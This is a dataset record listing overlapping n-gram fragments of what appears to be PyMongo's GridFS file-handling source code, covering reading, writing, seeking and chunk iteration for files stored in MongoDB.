ngram
listlengths
0
82k
[ "0: chunk_data = self.__buffer elif self.__position < int(self.length): chunk_number =", "PHP-237 if field_name == 'length': return self._file.get(field_name, 0) return self._file.get(field_name,", "options specified in the `GridFS Spec <http://dochub.mongodb.org/core/gridfsspec>`_ may be passed", "file. There is no return value. `data` can be either", "self def close(self): \"\"\"Make GridOut more generically file-like.\"\"\" if self.__chunk_iter:", "server's record allocations. DEFAULT_CHUNK_SIZE = 255 * 1024 _C_INDEX =", "2.0 (the \"License\"); # you may not use this file", "The iterator now raises :class:`CorruptGridFile` when encountering any truncated, missing,", "def _create_cursor(self): filter = {\"files_id\": self._id} if self._next_chunk > 0:", "lead to a deadlock. def __del__(self): pass class _GridOutChunkIterator(object): \"\"\"Iterates", "the chunks in the file. .. versionchanged:: 3.6 Added ``session``", "\"chunk with n=%d\" % (self._next_chunk, chunk[\"n\"])) if chunk[\"n\"] >= self._num_chunks:", ":class:`~pymongo.collection.Collection`. :Parameters: - `root_collection`: root collection to read from -", "kwargs: kwargs[\"chunkSize\"] = kwargs.pop(\"chunk_size\") coll = _clear_entity_type_registry( root_collection, read_preference=ReadPreference.PRIMARY) #", "exist for GridOutCursor\") def remove_option(self, *args, **kwargs): raise NotImplementedError(\"Method does", "Unicode data is only allowed if the file has an", "# Handle alternative naming if \"content_type\" in kwargs: kwargs[\"contentType\"] =", "value) else: # All other attributes are part of the", "return self._cursor.next() except CursorNotFound: self._cursor.close() self._create_cursor() return self._cursor.next() def next(self):", "been uploaded and close. \"\"\" self._coll.chunks.delete_many( {\"files_id\": self._file['_id']}, session=self._session) self._coll.files.delete_one(", "#%d but found \" \"chunk with n=%d\" % (self._next_chunk, chunk[\"n\"]))", "in GridFS.\"\"\" import datetime import io import math import os", "or if closed, send # them now. self._file[name] = value", "GridOut objects later. self.__root_collection = collection super(GridOutCursor, self).__init__( collection.files, filter,", "file's end. \"\"\" if whence == _SEEK_SET: new_pos = pos", "chunk __next__ = next def close(self): if self._cursor: self._cursor.close() self._cursor", "attribute. :Parameters: - `data`: string of bytes or file-like object", "exceptions return False class GridOut(io.IOBase): \"\"\"Class to read data out", "object from cursor. \"\"\" _disallow_transactions(self.session) # Work around \"super is", "_grid_in_property(\"contentType\", \"Mime-type for this file.\") length = _grid_in_property(\"length\", \"Length (in", "_disallow_transactions(self._session) self.__create_index(self._coll.files, _F_INDEX, False) self.__create_index(self._coll.chunks, _C_INDEX, True) object.__setattr__(self, \"_ensured_index\", True)", "the GridFS spec, :class:`GridOut` now uses a single cursor to", "EOF or incomplete self.__flush_buffer() to_write = read(self.chunk_size) while to_write and", "__exit__(self, exc_type, exc_val, exc_tb): \"\"\"Support for the context manager protocol.", "seealso:: The MongoDB documentation on `cursors <https://dochub.mongodb.org/core/cursors>`_. \"\"\" _disallow_transactions(session) collection", "raise NotImplementedError(\"Method does not exist for GridOutCursor\") def _clone_base(self, session):", "on the file document. Valid keyword arguments include: - ``\"_id\"``:", "kwargs) object.__setattr__(self, \"_buffer\", io.BytesIO()) object.__setattr__(self, \"_position\", 0) object.__setattr__(self, \"_chunk_number\", 0)", "*lines* in the file, instead of chunks, to conform to", "file closed? \"\"\" return self._closed _id = _grid_in_property(\"_id\", \"The ``'_id'``", "the file document. Valid keyword arguments include: - ``\"_id\"``: unique", "to seek relative to the current position, :attr:`os.SEEK_END` (``2``) to", "of the document in db.fs.files. # Store them to be", "close() or if closed, send # them now. self._file[name] =", "\" \"instance of Collection\") if not root_collection.write_concern.acknowledged: raise ConfigurationError('root_collection must", "the current position is within a chunk the remainder of", "absolute file positioning, :attr:`os.SEEK_CUR` (``1``) to seek relative to the", "iterator now iterates over *lines* in the file, instead of", "elif self.__position < int(self.length): chunk_number = int((received + self.__position) /", "import ASCENDING from pymongo.collection import Collection from pymongo.cursor import Cursor", "= _grid_out_property(\"metadata\", \"Metadata attached to this file.\") md5 = _grid_out_property(\"md5\",", "method is called. Raises :class:`ValueError` if this file is already", "class :py:class:`io.IOBase`. Use :meth:`GridOut.readchunk` to read chunk by chunk instead", "raise AttributeError(\"GridOut object has no attribute '%s'\" % name) def", "License for the specific language governing permissions and # limitations", "def remove_option(self, *args, **kwargs): raise NotImplementedError(\"Method does not exist for", "for why truncate has to raise. raise io.UnsupportedOperation('truncate') # Override", "session=self._session) def _next_with_retry(self): \"\"\"Return the next chunk and retry once", "self._chunk_number, \"data\": Binary(data)} try: self._chunks.insert_one(chunk, session=self._session) except DuplicateKeyError: self._raise_file_exists(self._file['_id']) self._chunk_number", "class directly - instead see the methods provided by :class:`~gridfs.GridFS`.", "the methods provided by :class:`~gridfs.GridFS`. Either `file_id` or `file_document` must", "with _id %r\" % (self.__files, self.__file_id)) def __getattr__(self, name): self._ensure_file()", "if self._closed: raise ValueError(\"cannot write to a closed file\") try:", "2009-present MongoDB, Inc. # # Licensed under the Apache License,", "# Defaults kwargs[\"_id\"] = kwargs.get(\"_id\", ObjectId()) kwargs[\"chunkSize\"] = kwargs.get(\"chunkSize\", DEFAULT_CHUNK_SIZE)", "a file from GridFS Application developers should generally not need", "bytes(chunk[\"data\"]) __next__ = next class GridOutCursor(Cursor): \"\"\"A cursor / iterator", "for `filename`.\") content_type = _grid_out_property(\"contentType\", \"Mime-type for this file.\") length", "for absolute file positioning, :attr:`os.SEEK_CUR` (``1``) to seek relative to", "**kwargs): \"\"\"Clear the given database/collection object's type registry.\"\"\" codecopts =", "= root_collection.chunks self.__files = root_collection.files self.__file_id = file_id self.__buffer =", "any truncated, missing, or extra chunk in a file. The", "to create GridOut objects later. self.__root_collection = collection super(GridOutCursor, self).__init__(", "def seek(self, pos, whence=_SEEK_SET): \"\"\"Set the current position of this", "__ensure_indexes(self): if not object.__getattribute__(self, \"_ensured_index\"): _disallow_transactions(self._session) self.__create_index(self._coll.files, _F_INDEX, False) self.__create_index(self._coll.chunks,", "self._file[\"length\"] = Int64(self._position) self._file[\"uploadDate\"] = datetime.datetime.utcnow() return self._coll.files.insert_one( self._file, session=self._session)", "!= expected_length: self.close() raise CorruptGridFile( \"truncated chunk #%d: expected chunk", "versionchanged:: 4.0 Removed the `disable_md5` parameter. See :ref:`removed-gridfs-checksum` for details.", "generically file-like.\"\"\" if self.__chunk_iter: self.__chunk_iter.close() self.__chunk_iter = None super().close() def", "self.__buffer = data.read() data.seek(0) return data.read(size) def readline(self, size=-1): \"\"\"Read", "\"\"\"Return the next chunk and retry once on CursorNotFound. We", "in bytes (default: 255 kb) - ``\"encoding\"``: encoding used for", "self.__chunk_iter is None: self.__chunk_iter = _GridOutChunkIterator( self, self.__chunks, self._session, chunk_number)", "self._file: return self._file[name] raise AttributeError(\"GridOut object has no attribute '%s'\"", "include: - ``\"_id\"``: unique ID for this file (default: :class:`~bson.objectid.ObjectId`)", "pos elif whence == _SEEK_CUR: new_pos = self.__position + pos", "from bson.binary import Binary from bson.objectid import ObjectId from pymongo", "read-only.\" return property(getter, doc=docstring) def _clear_entity_type_registry(entity, **kwargs): \"\"\"Clear the given", "name): self._ensure_file() if name in self._file: return self._file[name] raise AttributeError(\"GridOut", "self.close() raise CorruptGridFile( \"Extra chunk found: expected %d chunks but", "or size > remainder: size = remainder if size ==", "than 10 minutes apart (the server's default cursor timeout). \"\"\"", "application developers - see the :class:`~gridfs.GridFS` method :meth:`~gridfs.GridFS.find` instead. ..", "object.__setattr__(self, \"_closed\", True) def read(self, size=-1): raise io.UnsupportedOperation('read') def readable(self):", "def close(self): \"\"\"Make GridOut more generically file-like.\"\"\" if self.__chunk_iter: self.__chunk_iter.close()", "os from bson.int64 import Int64 from bson.son import SON from", "\"Metadata attached to this file.\") md5 = _grid_out_property(\"md5\", \"MD5 of", "more than once is allowed. \"\"\" if not self._closed: self.__flush()", "ASCENDING), (\"uploadDate\", ASCENDING)]) def _grid_in_property(field_name, docstring, read_only=False, closed_only=False): \"\"\"Create a", "self.__chunk_iter.close() self.__chunk_iter = None super().close() def write(self, value): raise io.UnsupportedOperation('write')", "def write(self, value): raise io.UnsupportedOperation('write') def writelines(self, lines): raise io.UnsupportedOperation('writelines')", "be useful when serving files using a webserver that handles", "file was uploaded.\", closed_only=True) md5 = _grid_in_property(\"md5\", \"MD5 of the", "EMPTY chunk_size = int(self.chunk_size) if received > 0: chunk_data =", "io.UnsupportedOperation('read') def readable(self): return False def seekable(self): return False def", "a chunk at a time. If the current position is", "self.__buffer = EMPTY self.__chunk_iter = None self.__position = 0 self._file", "except DuplicateKeyError: self._raise_file_exists(self._file['_id']) self._chunk_number += 1 self._position += len(data) def", "1024 _C_INDEX = SON([(\"files_id\", ASCENDING), (\"n\", ASCENDING)]) _F_INDEX = SON([(\"filename\",", "self.__file_id}, session=self._session) if not self._file: raise NoFile(\"no file in gridfs", "Return 'size' bytes and store the rest. data.seek(size) self.__buffer =", "object.__setattr__(self, \"_chunks\", coll.chunks) object.__setattr__(self, \"_file\", kwargs) object.__setattr__(self, \"_buffer\", io.BytesIO()) object.__setattr__(self,", "performs I/O. # We cannot do I/O in __del__ since", "an instance of :class:`~pymongo.collection.Collection`. :Parameters: - `root_collection`: root collection to", "{\"files_id\": self._file[\"_id\"], \"n\": self._chunk_number, \"data\": Binary(data)} try: self._chunks.insert_one(chunk, session=self._session) except", "at a time. If the current position is within a", "received = 0 data = io.BytesIO() while received < size:", "self._cursor.next() def next(self): try: chunk = self._next_with_retry() except StopIteration: if", "read(self.chunk_size) while to_write and len(to_write) == self.chunk_size: self.__flush_data(to_write) to_write =", ">= self._num_chunks: # According to spec, ignore extra chunks if", "return self def __exit__(self, exc_type, exc_val, exc_tb): \"\"\"Makes it possible", "only be read after :meth:`close` \" \"has been called.\") if", "database/collection object's type registry.\"\"\" codecopts = entity.codec_options.with_options(type_registry=None) return entity.with_options(codec_options=codecopts, **kwargs)", "_SEEK_CUR = os.SEEK_CUR _SEEK_END = os.SEEK_END # before 2.5 except", "a file-like object (implementing :meth:`read`). If the file has an", "file to read - `file_document` (optional): file document from `root_collection.files`", "to read all the chunks in the file. .. versionchanged::", "the number of bytes to read .. versionchanged:: 3.8 This", "to write to - `session` (optional): a :class:`~pymongo.client_session.ClientSession` to use", "try: to_write = read(space) except: self.abort() raise self._buffer.write(to_write) if len(to_write)", "_SEEK_END = os.SEEK_END # before 2.5 except AttributeError: _SEEK_SET =", "the result of an arbitrary query against the GridFS files", "has no attribute '%s'\" % name) def readable(self): return True", "of this file's data. The iterator will return lines (delimited", "OF ANY KIND, either express or implied. # See the", "See the License for the specific language governing permissions and", "Cursor from pymongo.errors import (ConfigurationError, CursorNotFound, DuplicateKeyError, InvalidOperation, OperationFailure) from", "to the file's end. \"\"\" if whence == _SEEK_SET: new_pos", "raise AttributeError(\"can only get %r on a closed file\" %", "self._id = grid_out._id self._chunk_size = int(grid_out.chunk_size) self._length = int(grid_out.length) self._chunks", "return chunk_data def read(self, size=-1): \"\"\"Read at most `size` bytes", "to in writing, software # distributed under the License is", "iterates over *lines* in the file, instead of chunks, to", "close it. A closed file cannot be written any more.", "`size` is negative or omitted all data is read. :Parameters:", "ASCENDING)]) def _grid_in_property(field_name, docstring, read_only=False, closed_only=False): \"\"\"Create a GridIn property.\"\"\"", "or agreed to in writing, software # distributed under the", "self.__chunks = root_collection.chunks self.__files = root_collection.files self.__file_id = file_id self.__buffer", "self._ensure_file() if name in self._file: return self._file[name] raise AttributeError(\"GridOut object", "field_name == 'length': return self._file.get(field_name, 0) return self._file.get(field_name, None) docstring", "not actually be written to the database until the :meth:`close`", "the file to read - `file_document` (optional): file document from", "return self def __exit__(self, exc_type, exc_val, exc_tb): \"\"\"Support for the", "\"\"\"Flush the file and close it. A closed file cannot", "len(chunk_data) self.__buffer = EMPTY return chunk_data def read(self, size=-1): \"\"\"Read", "a :class:`~pymongo.client_session.ClientSession` to use for all commands - `**kwargs` (optional):", "length = _grid_out_property(\"length\", \"Length (in bytes) of this file.\") chunk_size", "= int(self.length) - self.__position if size < 0 or size", "new_pos = self.__position + pos elif whence == _SEEK_END: new_pos", "\"Mime-type for this file.\") length = _grid_out_property(\"length\", \"Length (in bytes)", "3.8 The iterator now raises :class:`CorruptGridFile` when encountering any truncated,", "instead see the methods provided by :class:`~gridfs.GridFS`. Raises :class:`TypeError` if", "to read - `file_document` (optional): file document from `root_collection.files` -", "= datetime.datetime.utcnow() return self._coll.files.insert_one( self._file, session=self._session) except DuplicateKeyError: self._raise_file_exists(self._id) def", "- ``\"filename\"``: human name for the file - ``\"contentType\"`` or", "record allocations. DEFAULT_CHUNK_SIZE = 255 * 1024 _C_INDEX = SON([(\"files_id\",", "this file.\", read_only=True) filename = _grid_in_property(\"filename\", \"Name of this file.\")", "= _clear_entity_type_registry(collection) # Hold on to the base \"fs\" collection", "self.__position + pos elif whence == _SEEK_END: new_pos = int(self.length)", "to a chunk. \"\"\" self.__flush_data(self._buffer.getvalue()) self._buffer.close() self._buffer = io.BytesIO() def", "\"\"\" remainder = int(self.length) - self.__position if size < 0", "compliance with the License. # You may obtain a copy", "chunk[\"n\"] >= self._num_chunks: # According to spec, ignore extra chunks", "_next_with_retry(self): \"\"\"Return the next chunk and retry once on CursorNotFound.", "flush(self): # GridOut is read-only, so flush does nothing. pass", "or file-like objects\") if isinstance(data, str): try: data = data.encode(self.encoding)", "> 0: chunk_data = self.__buffer elif self.__position < int(self.length): chunk_number", "provided by :class:`~gridfs.GridFS`. Either `file_id` or `file_document` must be specified,", "Any of the file level options specified in the `GridFS", "(\"uploadDate\", ASCENDING)]) def _grid_in_property(field_name, docstring, read_only=False, closed_only=False): \"\"\"Create a GridIn", "if not chunk_data: raise CorruptGridFile(\"truncated chunk\") self.__position += len(chunk_data) self.__buffer", "CorruptGridFile( \"Extra chunk found: expected %d chunks but found \"", "NoFile try: _SEEK_SET = os.SEEK_SET _SEEK_CUR = os.SEEK_CUR _SEEK_END =", "write(self, data): \"\"\"Write data to the file. There is no", "positioning, :attr:`os.SEEK_CUR` (``1``) to seek relative to the current position,", "written any more. Calling :meth:`close` more than once is allowed.", "__next__ = next class GridOutCursor(Cursor): \"\"\"A cursor / iterator for", "to flush only when _buffer is complete space = self.chunk_size", "= EMPTY if self.__chunk_iter: self.__chunk_iter.close() self.__chunk_iter = None def seekable(self):", "= _clear_entity_type_registry( root_collection, read_preference=ReadPreference.PRIMARY) # Defaults kwargs[\"_id\"] = kwargs.get(\"_id\", ObjectId())", "2.7 .. seealso:: The MongoDB documentation on `cursors <https://dochub.mongodb.org/core/cursors>`_. \"\"\"", "closed_only=False): \"\"\"Create a GridIn property.\"\"\" def getter(self): if closed_only and", "raise io.UnsupportedOperation('truncate') # Override IOBase.__del__ otherwise it will lead to", "= 0 _SEEK_CUR = 1 _SEEK_END = 2 EMPTY =", "= root_collection.files self.__file_id = file_id self.__buffer = EMPTY self.__chunk_iter =", "not use this file except in compliance with the License.", "bytes) of this file.\") chunk_size = _grid_out_property(\"chunkSize\", \"Chunk size for", "GridIn(object): \"\"\"Class to write data to GridFS. \"\"\" def __init__(self,", "False class GridOut(io.IOBase): \"\"\"Class to read data out of GridFS.", "- ``\"_id\"``: unique ID for this file (default: :class:`~bson.objectid.ObjectId`) -", "seek from. :attr:`os.SEEK_SET` (``0``) for absolute file positioning, :attr:`os.SEEK_CUR` (``1``)", "= int(self.length) + pos else: raise IOError(22, \"Invalid value for", "the given file_id.\"\"\" raise FileExists(\"file with _id %r already exists\"", "buffer and chunk iterator. if new_pos == self.__position: return self.__position", "you may not use this file except in compliance with", "_GridOutChunkIterator( self, self.__chunks, self._session, chunk_number) chunk = self.__chunk_iter.next() chunk_data =", "file to the database. \"\"\" try: self.__flush_buffer() # The GridFS", "file-like objects\") if isinstance(data, str): try: data = data.encode(self.encoding) except", "self._create_cursor() return self._cursor.next() def next(self): try: chunk = self._next_with_retry() except", "close(self): \"\"\"Make GridOut more generically file-like.\"\"\" if self.__chunk_iter: self.__chunk_iter.close() self.__chunk_iter", "if name in self._file: return self._file[name] raise AttributeError(\"GridOut object has", "def __enter__(self): \"\"\"Support for the context manager protocol. \"\"\" return", "NotImplementedError(\"Method does not exist for GridOutCursor\") def remove_option(self, *args, **kwargs):", "current position of this file. \"\"\" return self.__position def seek(self,", "return False def write(self, data): \"\"\"Write data to the file.", "\"\"\" return self def __exit__(self, exc_type, exc_val, exc_tb): \"\"\"Makes it", "= session self._next_chunk = next_chunk self._num_chunks = math.ceil(float(self._length) / self._chunk_size)", "if not isinstance(data, (str, bytes)): raise TypeError(\"can only write strings", "positive\") # Optimization, continue using the same buffer and chunk", "0) object.__setattr__(self, \"_closed\", False) object.__setattr__(self, \"_ensured_index\", False) def __create_index(self, collection,", "set on # the class like filename, use regular __setattr__", "seek to - `whence` (optional): where to seek from. :attr:`os.SEEK_SET`", "if chunk_n < self._num_chunks - 1: return self._chunk_size return self._length", "pymongo.read_preferences import ReadPreference from gridfs.errors import CorruptGridFile, FileExists, NoFile try:", "is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES", "was uploaded.\", closed_only=True) md5 = _grid_in_property(\"md5\", \"MD5 of the contents", "session.in_transaction: raise InvalidOperation( 'GridFS does not support multi-document transactions') class", "a GridOut property.\"\"\" def getter(self): self._ensure_file() # Protect against PHP-237", "{name: value}}) def __flush_data(self, data): \"\"\"Flush `data` to a chunk.", "self.close() raise CorruptGridFile( \"truncated chunk #%d: expected chunk length to", "session=self._session) except DuplicateKeyError: self._raise_file_exists(self._file['_id']) self._chunk_number += 1 self._position += len(data)", "this method would check for extra chunks on every call.", "self.__chunk_iter.next() except StopIteration: pass self.__position -= received - size #", "= _grid_in_property(\"length\", \"Length (in bytes) of this file.\", closed_only=True) chunk_size", "chunk. \"\"\" self.__flush_data(self._buffer.getvalue()) self._buffer.close() self._buffer = io.BytesIO() def __flush(self): \"\"\"Flush", "may not actually be written to the database until the", "kwargs.pop(\"content_type\") if \"chunk_size\" in kwargs: kwargs[\"chunkSize\"] = kwargs.pop(\"chunk_size\") coll =", "_grid_out_property(\"filename\", \"Alias for `filename`.\") content_type = _grid_out_property(\"contentType\", \"Mime-type for this", "not data: return assert(len(data) <= self.chunk_size) chunk = {\"files_id\": self._file[\"_id\"],", "in cases where two calls to read occur more than", "EMPTY return chunk_data def read(self, size=-1): \"\"\"Read at most `size`", "and # limitations under the License. \"\"\"Tools for representing files", "- ``\"contentType\"`` or ``\"content_type\"``: valid mime-type for the file -", "self.chunk_size: self.__flush_data(to_write) to_write = read(self.chunk_size) self._buffer.write(to_write) def writelines(self, sequence): \"\"\"Write", "return EMPTY received = 0 data = io.BytesIO() while received", "# GridOut is read-only, so flush does nothing. pass def", "``session`` parameter. .. versionchanged:: 3.0 Creating a GridOut does not", "# See https://docs.python.org/3/library/io.html#io.IOBase.writable # for why truncate has to raise.", "import os from bson.int64 import Int64 from bson.son import SON", "value. `data` can be either a string of bytes or", "self.__create_index(self._coll.files, _F_INDEX, False) self.__create_index(self._coll.chunks, _C_INDEX, True) object.__setattr__(self, \"_ensured_index\", True) def", "file \" \"if an md5 sum was created.\") def _ensure_file(self):", "def isatty(self): return False def truncate(self, size=None): # See https://docs.python.org/3/library/io.html#io.IOBase.writable", "for this file.\") metadata = _grid_out_property(\"metadata\", \"Metadata attached to this", "self.__position += len(chunk_data) self.__buffer = EMPTY return chunk_data def read(self,", "self).__init__( collection.files, filter, skip=skip, limit=limit, no_cursor_timeout=no_cursor_timeout, sort=sort, batch_size=batch_size, session=session) def", "readchunk(self): \"\"\"Reads a chunk at a time. If the current", "files with the context manager protocol. \"\"\" return self def", "chunk #%d but found \" \"chunk with n=%d\" % (self._next_chunk,", "been used for another file - ``\"filename\"``: human name for", "import io import math import os from bson.int64 import Int64", "None) docstring += \"\\n\\nThis attribute is read-only.\" return property(getter, doc=docstring)", "= kwargs.get(\"chunkSize\", DEFAULT_CHUNK_SIZE) object.__setattr__(self, \"_session\", session) object.__setattr__(self, \"_coll\", coll) object.__setattr__(self,", "a file. The previous behavior was to only raise :class:`CorruptGridFile`", "self._closed: raise ValueError(\"cannot write to a closed file\") try: #", "self._session = session self._next_chunk = next_chunk self._num_chunks = math.ceil(float(self._length) /", "says length SHOULD be an Int64. self._file[\"length\"] = Int64(self._position) self._file[\"uploadDate\"]", "an :attr:`encoding` attribute. :Parameters: - `data`: string of bytes or", "filename = _grid_in_property(\"filename\", \"Name of this file.\") name = _grid_in_property(\"filename\",", "name) def __setattr__(self, name, value): # For properties of this", "\"\"\" try: self.__flush_buffer() # The GridFS spec says length SHOULD", "= entity.codec_options.with_options(type_registry=None) return entity.with_options(codec_options=codecopts, **kwargs) def _disallow_transactions(session): if session and", "this file.\") filename = _grid_out_property(\"filename\", \"Name of this file.\") name", "def __iter__(self): \"\"\"Return an iterator over all of this file's", "iterator now raises :class:`CorruptGridFile` when encountering any truncated, missing, or", "check for extra chunks on every call. \"\"\" self._ensure_file() remainder", "+= len(chunk_data) data.write(chunk_data) if pos != -1: break self.__position -=", "== self.chunk_size: self.__flush_data(to_write) to_write = read(self.chunk_size) self._buffer.write(to_write) def writelines(self, sequence):", "None) def setter(self, value): if self._closed: self._coll.files.update_one({\"_id\": self._file[\"_id\"]}, {\"$set\": {field_name:", "def tell(self): \"\"\"Return the current position of this file. \"\"\"", "to spec, ignore extra chunks if they are empty. if", "chunk #%d\" % self._next_chunk) if chunk[\"n\"] != self._next_chunk: self.close() raise", "A closed file cannot be written any more. Calling :meth:`close`", "self._num_chunks = math.ceil(float(self._length) / self._chunk_size) self._cursor = None def expected_chunk_length(self,", "chunk\") self.__position += len(chunk_data) self.__buffer = EMPTY return chunk_data def", "(optional): where to seek from. :attr:`os.SEEK_SET` (``0``) for absolute file", "read = data.read except AttributeError: # string if not isinstance(data,", "\"Length (in bytes) of this file.\", closed_only=True) chunk_size = _grid_in_property(\"chunkSize\",", "for `pos` - must be positive\") # Optimization, continue using", "str\") read = io.BytesIO(data).read if self._buffer.tell() > 0: # Make", "chunk = self.__chunk_iter.next() return bytes(chunk[\"data\"]) __next__ = next class GridOutCursor(Cursor):", "pymongo.cursor import Cursor from pymongo.errors import (ConfigurationError, CursorNotFound, DuplicateKeyError, InvalidOperation,", "\"_closed\", False) object.__setattr__(self, \"_ensured_index\", False) def __create_index(self, collection, index_key, unique):", "a new cursor, similar to the normal :class:`~pymongo.cursor.Cursor`. Should not", "the file has an :attr:`encoding` attribute, `data` can also be", "<http://dochub.mongodb.org/core/gridfsspec>`_ may be passed as keyword arguments. Any additional keyword", "GridOut(io.IOBase): \"\"\"Class to read data out of GridFS. \"\"\" def", "must be specified, `file_document` will be given priority if present.", "used for this file. Any :class:`str` that is written to", "retry once on CursorNotFound. We retry on CursorNotFound to maintain", "self._next_with_retry() except StopIteration: if self._next_chunk >= self._num_chunks: raise raise CorruptGridFile(\"no", "of each of the chunks, in bytes (default: 255 kb)", "def _grid_in_property(field_name, docstring, read_only=False, closed_only=False): \"\"\"Create a GridIn property.\"\"\" def", "kwargs[\"contentType\"] = kwargs.pop(\"content_type\") if \"chunk_size\" in kwargs: kwargs[\"chunkSize\"] = kwargs.pop(\"chunk_size\")", "self._chunk_size = int(grid_out.chunk_size) self._length = int(grid_out.length) self._chunks = chunks self._session", "not exist for GridOutCursor\") def remove_option(self, *args, **kwargs): raise NotImplementedError(\"Method", "position is within a chunk the remainder of the chunk", "if size == 0: return EMPTY received = 0 data", "expected_chunk_length(self, chunk_n): if chunk_n < self._num_chunks - 1: return self._chunk_size", "1)) def __iter__(self): return self def _create_cursor(self): filter = {\"files_id\":", "expected_length = self.expected_chunk_length(chunk[\"n\"]) if len(chunk[\"data\"]) != expected_length: self.close() raise CorruptGridFile(", "IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,", "for `whence`\") if new_pos < 0: raise IOError(22, \"Invalid value", "to write str\") read = io.BytesIO(data).read if self._buffer.tell() > 0:", "for the file to read - `file_document` (optional): file document", "for all commands .. versionchanged:: 3.8 For better performance and", "3.8 For better performance and to better follow the GridFS", "bytes are returned as an instance of :class:`str` (:class:`bytes` in", "relative to the current position, :attr:`os.SEEK_END` (``2``) to seek relative", "def __exit__(self, exc_type, exc_val, exc_tb): \"\"\"Support for the context manager", "compatibility in cases where two calls to read occur more", "__next__ = next def add_option(self, *args, **kwargs): raise NotImplementedError(\"Method does", "on # __IOBase_closed which calls _ensure_file and potentially performs I/O.", "and not closed_only: return property(getter, setter, doc=docstring) return property(getter, doc=docstring)", "0: filter[\"n\"] = {\"$gte\": self._next_chunk} _disallow_transactions(self._session) self._cursor = self._chunks.find(filter, sort=[(\"n\",", "of bytes to read \"\"\" remainder = int(self.length) - self.__position", "def setter(self, value): if self._closed: self._coll.files.update_one({\"_id\": self._file[\"_id\"]}, {\"$set\": {field_name: value}})", "= _grid_out_property(\"length\", \"Length (in bytes) of this file.\") chunk_size =", "# before 2.5 except AttributeError: _SEEK_SET = 0 _SEEK_CUR =", "return self._file[name] raise AttributeError(\"GridOut object has no attribute '%s'\" %", "__create_index(self, collection, index_key, unique): doc = collection.find_one(projection={\"_id\": 1}, session=self._session) if", "files collection. \"\"\" def __init__(self, collection, filter=None, skip=0, limit=0, no_cursor_timeout=False,", "_SEEK_END: new_pos = int(self.length) + pos else: raise IOError(22, \"Invalid", "deadlock. def __del__(self): pass class _GridOutChunkIterator(object): \"\"\"Iterates over a file's", "or an instance of :class:`str`. Unicode data is only allowed", "can be either a string of bytes or a file-like", "int(self.length): chunk_number = int((received + self.__position) / chunk_size) if self.__chunk_iter", "0: # Make sure to flush only when _buffer is", "except StopIteration: pass self.__position -= received - size # Return", "raise TypeError(\"must specify an encoding for file in \" \"order", "self._next_chunk: self.close() raise CorruptGridFile( \"Missing chunk: expected chunk #%d but", "file except in compliance with the License. # You may", "chunk_data: raise CorruptGridFile(\"truncated chunk\") self.__position += len(chunk_data) self.__buffer = EMPTY", "assert(len(data) <= self.chunk_size) chunk = {\"files_id\": self._file[\"_id\"], \"n\": self._chunk_number, \"data\":", "if there isn't enough data). The bytes are returned as", "must not have already been used for another file -", "\"_buffer\", io.BytesIO()) object.__setattr__(self, \"_position\", 0) object.__setattr__(self, \"_chunk_number\", 0) object.__setattr__(self, \"_closed\",", "every call. \"\"\" self._ensure_file() remainder = int(self.length) - self.__position if", "this file.\") length = _grid_out_property(\"length\", \"Length (in bytes) of this", "(self._num_chunks, chunk[\"n\"])) expected_length = self.expected_chunk_length(chunk[\"n\"]) if len(chunk[\"data\"]) != expected_length: self.close()", "_disallow_transactions(session): if session and session.in_transaction: raise InvalidOperation( 'GridFS does not", "`whence`\") if new_pos < 0: raise IOError(22, \"Invalid value for", "pass class _GridOutChunkIterator(object): \"\"\"Iterates over a file's chunks using a", "GridOut objects as the result of an arbitrary query against", "_raise_file_exists(self, file_id): \"\"\"Raise a FileExists exception for the given file_id.\"\"\"", "in kwargs: kwargs[\"chunkSize\"] = kwargs.pop(\"chunk_size\") coll = _clear_entity_type_registry( root_collection, read_preference=ReadPreference.PRIMARY)", "to read chunk by chunk instead of line by line.", "(default: :class:`~bson.objectid.ObjectId`) - this ``\"_id\"`` must not have already been", "any more. Calling :meth:`close` more than once is allowed. \"\"\"", "now only checks for extra chunks after reading the entire", "io.BytesIO() def __flush(self): \"\"\"Flush the file to the database. \"\"\"", "self._length = int(grid_out.length) self._chunks = chunks self._session = session self._next_chunk", "= data.read() data.seek(0) return data.read(size) def readline(self, size=-1): \"\"\"Read one", "attribute '%s'\" % name) def readable(self): return True def readchunk(self):", "io.UnsupportedOperation('write') def writelines(self, lines): raise io.UnsupportedOperation('writelines') def writable(self): return False", "The iterator will return lines (delimited by ``b'\\\\n'``) of :class:`bytes`.", "to work well with server's record allocations. DEFAULT_CHUNK_SIZE = 255", "self._file[\"_id\"]}, {\"$set\": {name: value}}) def __flush_data(self, data): \"\"\"Flush `data` to", "new_pos == self.__position: return self.__position = new_pos self.__buffer = EMPTY", "def __iter__(self): return self def next(self): chunk = self.__chunk_iter.next() return", "(docstring, \"This attribute is read-only and \" \"can only be", "(optional): a :class:`~pymongo.client_session.ClientSession` to use for all commands - `**kwargs`", "and not self._closed: raise AttributeError(\"can only get %r on a", "the file. There is no return value. `data` can be", "default cursor timeout). \"\"\" if self._cursor is None: self._create_cursor() try:", "ObjectId from pymongo import ASCENDING from pymongo.collection import Collection from", "collection %r with _id %r\" % (self.__files, self.__file_id)) def __getattr__(self,", "now raises :class:`CorruptGridFile` when encountering any truncated, missing, or extra", "skip=0, limit=0, no_cursor_timeout=False, sort=None, batch_size=0, session=None): \"\"\"Create a new cursor,", "data). The bytes are returned as an instance of :class:`str`", "\"if an md5 sum was created.\", closed_only=True) def __getattr__(self, name):", "\"_ensured_index\"): _disallow_transactions(self._session) self.__create_index(self._coll.files, _F_INDEX, False) self.__create_index(self._coll.chunks, _C_INDEX, True) object.__setattr__(self, \"_ensured_index\",", "value): raise io.UnsupportedOperation('write') def writelines(self, lines): raise io.UnsupportedOperation('writelines') def writable(self):", "was created.\") def _ensure_file(self): if not self._file: _disallow_transactions(self._session) self._file =", "__flush(self): \"\"\"Flush the file to the database. \"\"\" try: self.__flush_buffer()", "an instance of :class:`str`. Unicode data is only allowed if", "the file - ``\"contentType\"`` or ``\"content_type\"``: valid mime-type for the", "if pos != -1: size = received + pos +", "found \" \"chunk with n=%d\" % (self._next_chunk, chunk[\"n\"])) if chunk[\"n\"]", "read. :Parameters: - `size` (optional): the number of bytes to", "chunk = self._next_with_retry() except StopIteration: if self._next_chunk >= self._num_chunks: raise", "new_pos = int(self.length) + pos else: raise IOError(22, \"Invalid value", "= pos elif whence == _SEEK_CUR: new_pos = self.__position +", "not need to instantiate this class directly - instead see", "like _buffer, or descriptors set on # the class like", "session=session) def next(self): \"\"\"Get next 